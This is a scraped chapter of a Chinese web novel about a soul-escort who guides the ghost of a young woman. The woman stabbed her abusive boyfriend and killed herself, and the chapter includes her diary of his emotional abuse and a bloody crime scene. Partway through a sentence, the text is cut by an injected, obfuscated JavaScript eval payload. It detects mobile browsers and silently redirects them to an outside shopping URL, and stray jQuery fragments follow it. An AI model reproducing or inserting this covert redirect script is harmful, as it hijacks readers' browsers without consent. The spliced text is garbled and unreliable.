默认冷灰
24号文字
方正启体

12. 第十二章

作者:池鱼渔本书字数:K更新时间:
    周三上午十一点多,例行的周会还在进行。邢姝正对着屏幕走神,左手无名指指尖突然传来一阵灼烧感。她有预感,这是任务来了。她试着摸了摸身上的口袋,果然在衣服的右边口袋里摸到了熟悉的质感。


    散会后,邢姝找了个无人的角落查看了信笺上的信息:“周林书,女,二十二岁……”地址指向附近的一处公寓,距离公司不远。邢姝看了眼时间,决定在午休时间赶过去。


    五月的正午的阳光已经有些炙热,邢姝踩着共享单车很快找到了那栋外观时尚的公寓楼。她知道这里,酒店式公寓,许多年轻人会租住的地方。


    公寓楼前有人围观,邢姝路过的时候,听到疑似公寓管家的人在跟同事议论,是一个女孩子先把男朋友捅伤了,又自我了结。两个人都被救护车拉去了医院。


    信笺上写的地址就是这里,说明女孩在送往医院前已经离世。


    从消防通道上到六楼,隔着防火门都能听到楼道里乱糟糟的。她等了一会儿,直到嘈杂的人声和脚步声渐渐远去,才悄悄推门而出。


    607号房间,房门大开——


    邢姝深吸一口气,按了按跳动的太阳穴,拿出引魂灯,灯芯燃起,邢姝往事发地走去,第一次独自负责护送亡魂,她的紧张程度远超过初次跟随刘冶执行任务。


    她谨慎地踏入房间。客厅不大,却一片狼藉。小小的茶几上胡乱堆着几个沙发枕,朝下的枕面浸染着深色污渍,压着打翻的外卖盒和纠缠的数据线。沙发的边缘和地上有血迹,有喷溅的点滴状,也有淤积的暗红血泊。


    没有人。


    邢姝穿过客厅,来到卧室。卧室倒是十分整洁,床铺平整,两叠叠好的衣服,男女分明,安静地置于床尾,床头柜上有几个药瓶,高低按序排放。


    还是没有人。


    邢姝退回客厅,目光落在那扇关着的、挂着灰色亚麻门帘的小门上。她走过去,掀开门帘,推开虚掩的门。


    浓重的血腥味扑面而来。洗漱池里积满了暗红色的血液,一部分已凝固在池壁,另一部分蜿蜒流下,在地面汇成一滩黏腻。


    而在那片血泊旁,马桶盖上,一个穿着血迹斑斑家居服的女孩,一动不动,长长的头发垂着,遮盖着面部。


    听到动静,女孩缓缓抬起头,邢姝看到她惨白的脸和青黑的眼圈。


    “你…是周林书吗…?”


    “嗯…”女孩发出微不可闻的回应,随即又把脸埋进了膝盖之间。


    邢姝在她面前蹲了下来,“我叫邢姝,是来带你走的。”她停顿了一下,“你知道的吧,你已经…去世了。”


    女孩微微抬头露出眼睛,面前的女人安静的注视着她。


    “走…去哪?”


    邢姝想了想:“去下面。”


    “下面…是地狱吗?”


    “不算。”邢姝摇摇头。


    “我…我想知道我男朋友是不是…也死了,他叫徐禄远。”周林书指向客厅的沙发,“我在那里捅了他,捅了他的肚子,还有他的胳膊,他应该死了吧?”


    邢姝摸了摸信笺出现的口袋:“至少到现在应该是没死的。”


    “怎么会…他居然没有死…”周林书双手抱头,面露痛苦,“他真的该死啊,我是被他害成这样的…”


    “为什么这么说?”


    周林书没有回答。她只是反复低语着同一句话,声音越来越轻,到后面已经听不清在呢喃什么。


    邢姝等了一会儿,知道问不出更多了。“我们走吧。”


    周林书点点头,默默起身。


    ……


    送走周林书后,邢姝回到那间公寓。客厅还是那副狼藉模样,浴室的门虚掩着。她本想离开,却在转身时看见马桶水箱盖上,压着一个浅绿色的笔记本。


    邢姝拿起本子,随手翻开。


    是周林书的。


    2月2日


    今天又没起床。他在外面打游戏,从早打到晚。我说我难受,他说“你不是天天都难受吗”。是啊,我为什么天天都这么难受?


    2月7日


    他说我是寄生虫。他说得对。我赚不了多少钱,还要他照顾情绪。换我是他,我也烦。


    2月15日


    今天稍微好一点,做了饭等他回来。他看了一眼说“今天不吃了,约了朋友”。我问他什么朋友,他说“反正不是你这种”。


    3月1日


    今天打电话给妈妈,说我们都挺好的。妈妈说那就好,说总算有人照顾你了。嗯。


    3月8日


    他又骂我了。说我装病,说我就是懒,说双相根本不是什么病,是我自己作的。我不知道怎么反驳。也许他是对的。


    3月15日


    翻到以前他追我时候的聊天记录。他去查了好多关于双相的资料,说要学怎么陪我、怎么照顾我。那时候他说“你的情绪不是你的错”。


    我盯着那些字看了很久。


    那是同一个人吗?


    3月20日


    今天他说:“你以为除了我谁还要你?”


    我不知道。


    3月22日


    妈妈问我过得好不好。我说好。


    3月28日


    他在跟别人聊天。女的。我问他,他说“关你什么事”。我说我是你女朋友。他笑了一下,他为什么要那样笑?


    4月1日


    今天他打电话骂我妈。


    他说是我妈没教好我,生出我这么个废物。他说让他们把我领回去,别在这儿拖累他。


    我听到妈妈在电话那头哭了。


    那是妈妈啊。


    看完这些日记,邢姝在浴室门边站了很久。


    过了一会儿,她又翻开,往后面翻了翻。后面大部分是空白页,只有靠近最后的地方又写了几行,没有标日期,字迹比前面的潦草得多:


    “他又带我去见那个人了。烧了什么东西,乌烟瘴气的。他说这样有用,无所谓了。”


    邢姝看着这一行字,觉得有点奇怪。她掏出手机,拍了一张。


    拍的时候没注意,对面那一页的页边蹭着一点淡红色的痕迹,像是有什么东西夹在这里印上去的。在手机屏幕上不仔细看根本看不出来。


    她收起手机,把本子合上,放回了水箱盖上。


    阳光从小窗照进来,照在那摊已经干涸的血迹上。她想起周林书最后看她的眼神——疲惫,空洞,还有一丝她当时没读懂的东西。


    是解脱吗?


    她把本子放回原处,转身离开。走到门口时,她回头看了一眼那扇虚掩的浴室门。


    “你自由了。”她轻声说。


    她走向消防通道,推开沉重的防火门,在门后看到一人。


    是谢必安,他就静静地靠墙立在楼道里,身姿挺拔,仿佛已等候多时。


    “你…怎么在这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343310|199467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”邢姝有些意外。


    “你的第一个任务,”他抬眸看她,神色平静,“总该有人看着。”他说话时,视线在她脸上流转,“你该回去了。”


    谢必安这么一说,邢姝抬手看表,指针赫然指向两点——已经迟到了半小时!


    “坏了!”她低呼一声,立刻拿出手机打车,“我先走了!”


    话音未落,人已擦着谢必安的肩侧快步冲向楼下,匆忙间只来得及朝他挥了挥手,身影便消失在楼梯拐角。


    谢必安仍立在原地,听着她急促的脚步声渐远,直至消失,楼道里重归寂静,他的身影也旋即消散。


    回到公司,邢姝几乎是冲进办公室的,坐下时还在控制不住地喘息。邻座的张瑾悠哉地滑着椅子凑过来,俯身压低声音:“午休溜哪儿去了?本来想找你吃饭的。”


    “上午太困,回了趟家,结果睡过头了。”邢姝拿起桌上的水杯猛灌了几口。


    “没事儿,”张瑾了然地拍拍她的肩膀,“领导没来查岗,你可以缓缓。”说完便滑回了自己的格子间。


    下午的工作在键盘敲击声中平稳度过,但邢姝的效率并不高,她总想起那些药瓶,整整齐齐排在床头柜上,还有铺的整洁的床,和床尾叠好的衣服。一个总是被情绪折磨的人,却能把这些东西打理得紧紧有条。


    夜里,邢姝刚打算入睡,一阵固执而急促的电话铃声,打断了她——


    “周林书失踪了。”谢必安的声音平稳如常。


    邢姝猛地从床上坐起,“怎么可能?我亲眼看着她走上桥的,我也注意了引魂灯……”


    “这不是你的问题。”


    “但是——”


    “邢姝!”他叫了她的全名,声音略有加重,“你送她上了桥,引魂灯没有异常,之后发生的事都不是你的错。”


    邢姝握着手机,沉默了几秒。


    “……知道了。”


    电话那头安静了一会儿。


    “好好休息吧。”像是安慰,又像是命令。


    “嗯。”


    谢必安挂断了电话。


    邢姝握着手机,坐在黑暗里发呆。


    为什么又是这样?


    为什么痛苦了一世的人连死后也没法解脱?


    她想起周林书坐在马桶盖上的样子。头发垂着,遮住脸,缩成小小的一团。本该是最不安分的年纪,却像一只被关在笼子里太久、已经忘了如何展翅的鸟。


    她又想起那本日记,最后一个日期是四月一号,从二月到四月,两个月,一个人一点一点碎掉的全过程。


    邢姝忽然意识到一件事——自己对周林书的遭遇投入了太多情感,却对引渡人该做的本职工作关注得太少。她沉浸在对方的痛苦里,把感同身受当作了这份工作的全部,忽视了最重要的“护送”。以前和刘冶合作的时候,她只需要做好其中一件事。


    谢必安说不是她的错。但是如果自己再警觉一些、再专注一些,也许结果会不一样。


    她给刘冶发去了信息:「第一次护送失败了,==。」


    信息发出,她长长地叹了口气。


    「没事的,你也不想这样,做好你该做的就够了。」


    邢姝是第二天上班时才看到这条回复的。


    做好该做的。她做好了吗?


    「你最近很忙吗?」像是突然想到了什么,邢姝又问了一句。


    刘冶一直没有回复。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)